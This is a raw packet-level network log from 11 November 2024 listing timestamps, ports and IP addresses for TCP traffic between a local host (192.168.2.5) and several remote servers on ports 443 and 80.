Nov 11, 2024 21:59:23.583033085 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.583506107 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.583523035 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.583591938 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.583600044 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.583635092 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.584103107 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.584161043 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.585964918 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.585995913 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.586046934 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.586054087 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.586102009 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.601633072 CET	443	58779	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.601687908 CET	443	58779	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.601795912 CET	58779	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.604223967 CET	443	58778	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.604391098 CET	443	58778	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.604490995 CET	58778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.605845928 CET	58779	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.605853081 CET	443	58779	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.605864048 CET	58779	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.605868101 CET	443	58779	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.605882883 CET	58778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.605884075 CET	58778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.605901957 CET	443	58778	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.605911970 CET	443	58778	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.611439943 CET	443	58780	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.611498117 CET	443	58780	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.611603975 CET	58780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.613164902 CET	58786	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.613194942 CET	443	58786	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.613265991 CET	58786	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.613715887 CET	58786	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.613729000 CET	443	58786	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.614754915 CET	443	58781	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.615881920 CET	443	58781	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.615936995 CET	58781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.616162062 CET	58781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.616173029 CET	443	58781	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.616183996 CET	58781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.616189003 CET	443	58781	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.618314028 CET	58787	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.618338108 CET	443	58787	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.618391991 CET	58787	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.619931936 CET	58787	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.619940996 CET	443	58787	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.620430946 CET	58780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.620446920 CET	443	58780	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.620459080 CET	58780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.620464087 CET	443	58780	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.621875048 CET	58788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.621902943 CET	443	58788	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.622010946 CET	58788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.622386932 CET	58788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.622402906 CET	443	58788	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.627346992 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.627402067 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.627923012 CET	58789	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.627947092 CET	443	58789	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.628002882 CET	58789	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.628555059 CET	58789	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.628562927 CET	443	58789	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.642292976 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.647495985 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.664477110 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.664510965 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.664550066 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.664669037 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.664685965 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.665174961 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.665205002 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.665227890 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.665236950 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.665262938 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.665335894 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.665381908 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.665390015 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.666054964 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.666069031 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.666110992 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.666119099 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.666184902 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.667172909 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.667227983 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.683444977 CET	58773	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.683469057 CET	443	58773	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.743026972 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:23.743067026 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:23.743282080 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:23.754657030 CET	58790	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:23.754686117 CET	443	58790	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:23.837676048 CET	443	58782	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:23.840970993 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.841104984 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.842134953 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842225075 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842236042 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842298985 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842349052 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842360973 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842426062 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842437029 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842469931 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842492104 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842564106 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842576027 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842597008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842607021 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842608929 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842619896 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842631102 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842633963 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842642069 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842652082 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842664003 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842664957 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842674971 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842685938 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842688084 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842698097 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842717886 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842727900 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842729092 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842737913 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842751026 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842753887 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842766047 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842776060 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842782974 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842787027 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842797995 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842808962 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842809916 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842816114 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842818975 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842829943 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842839003 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842839956 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842859983 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842870951 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842880964 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842885971 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842896938 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842905998 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842906952 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842916012 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842927933 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842937946 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.842941046 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842956066 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.842982054 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843075991 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843168020 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843208075 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843250036 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843281984 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843292952 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843337059 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843369007 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843379974 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843380928 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843415022 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843440056 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843451023 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843461990 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843508005 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843599081 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843610048 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843621016 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843626976 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843631983 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843642950 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843646049 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843653917 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843664885 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843673944 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843673944 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843702078 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843702078 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843702078 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843715906 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843718052 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843725920 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843738079 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843749046 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843750954 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843756914 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843756914 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843763113 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843780041 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843799114 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843800068 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843811989 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843822002 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843832970 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843836069 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843842983 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843853951 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843859911 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843863010 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843879938 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843888044 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843894958 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843899965 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843908072 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843918085 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843923092 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843928099 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843939066 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843940973 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843955040 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843965054 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843965054 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.843975067 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:23.843976974 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.844007969 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.844018936 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:23.851490021 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.851525068 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.851927042 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.852319956 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.852344990 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.852865934 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.854149103 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:23.854182959 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:23.854347944 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:23.855926037 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.856031895 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.856456041 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.856554031 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:23.894062042 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:23.932735920 CET	58791	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:23.932776928 CET	443	58791	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:23.934703112 CET	58785	443	192.168.2.5	23.44.133.31
Nov 11, 2024 21:59:23.934730053 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:23.935883045 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:23.935952902 CET	58785	443	192.168.2.5	23.44.133.31
Nov 11, 2024 21:59:23.963376045 CET	58782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:23.965353012 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.981471062 CET	58785	443	192.168.2.5	23.44.133.31
Nov 11, 2024 21:59:23.981586933 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:23.981698036 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:23.983438969 CET	58792	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:23.983473063 CET	443	58792	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:23.983736038 CET	58792	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:23.984175920 CET	58785	443	192.168.2.5	23.44.133.31
Nov 11, 2024 21:59:23.984189987 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:23.984432936 CET	58793	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:23.984481096 CET	443	58793	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:23.984538078 CET	58793	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:23.985245943 CET	58794	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:23.985272884 CET	443	58794	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:23.985420942 CET	58794	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:23.987189054 CET	58795	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:23.987220049 CET	443	58795	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:23.987361908 CET	58795	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:23.988420010 CET	58795	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:23.988434076 CET	443	58795	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:23.988647938 CET	58794	443	192.168.2.5	204.79.197.219
Nov 11, 2024 21:59:23.988661051 CET	443	58794	204.79.197.219	192.168.2.5
Nov 11, 2024 21:59:23.988836050 CET	58793	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:23.988851070 CET	443	58793	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:23.989053965 CET	58792	443	192.168.2.5	104.70.121.152
Nov 11, 2024 21:59:23.989069939 CET	443	58792	104.70.121.152	192.168.2.5
Nov 11, 2024 21:59:24.000340939 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.000358105 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.000953913 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.001852036 CET	58797	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.001863003 CET	443	58797	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.011331081 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.023346901 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.072721004 CET	58785	443	192.168.2.5	23.44.133.31
Nov 11, 2024 21:59:24.088545084 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:24.089713097 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:24.089720964 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:24.089735985 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:24.089741945 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:24.089796066 CET	58785	443	192.168.2.5	23.44.133.31
Nov 11, 2024 21:59:24.089799881 CET	443	58785	23.44.133.31	192.168.2.5
Nov 11, 2024 21:59:24.089823961 CET	58785	443	192.168.2.5	23.44.133.31
Nov 11, 2024 21:59:24.089843988 CET	58785	443	192.168.2.5	23.44.133.31
Nov 11, 2024 21:59:24.129162073 CET	443	58786	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.135126114 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.135152102 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.135162115 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.135178089 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.135185003 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.135188103 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.135267973 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.135305882 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.135333061 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.135987997 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.136910915 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.136924028 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.136944056 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.136953115 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.136966944 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.136976957 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.136987925 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.137000084 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.137001038 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.137023926 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.137032986 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.138827085 CET	443	58788	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.140260935 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.140418053 CET	443	58787	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.143615961 CET	443	58789	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:24.152168036 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.152198076 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.152205944 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.152230978 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.152249098 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.152259111 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.152268887 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.152296066 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.152309895 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.153733015 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.153740883 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.153765917 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.153790951 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.153799057 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.153806925 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.153815031 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.153821945 CET	443	58783	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.153866053 CET	58783	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.197734118 CET	58786	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.197767973 CET	58789	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:24.216449022 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.216464043 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.216511965 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.216526985 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.216545105 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.216569901 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.216593981 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.216608047 CET	58784	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:24.218208075 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.218220949 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.218245983 CET	443	58784	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:24.218269110 CET	443	58784	23.57.90.101	192.168.2.5
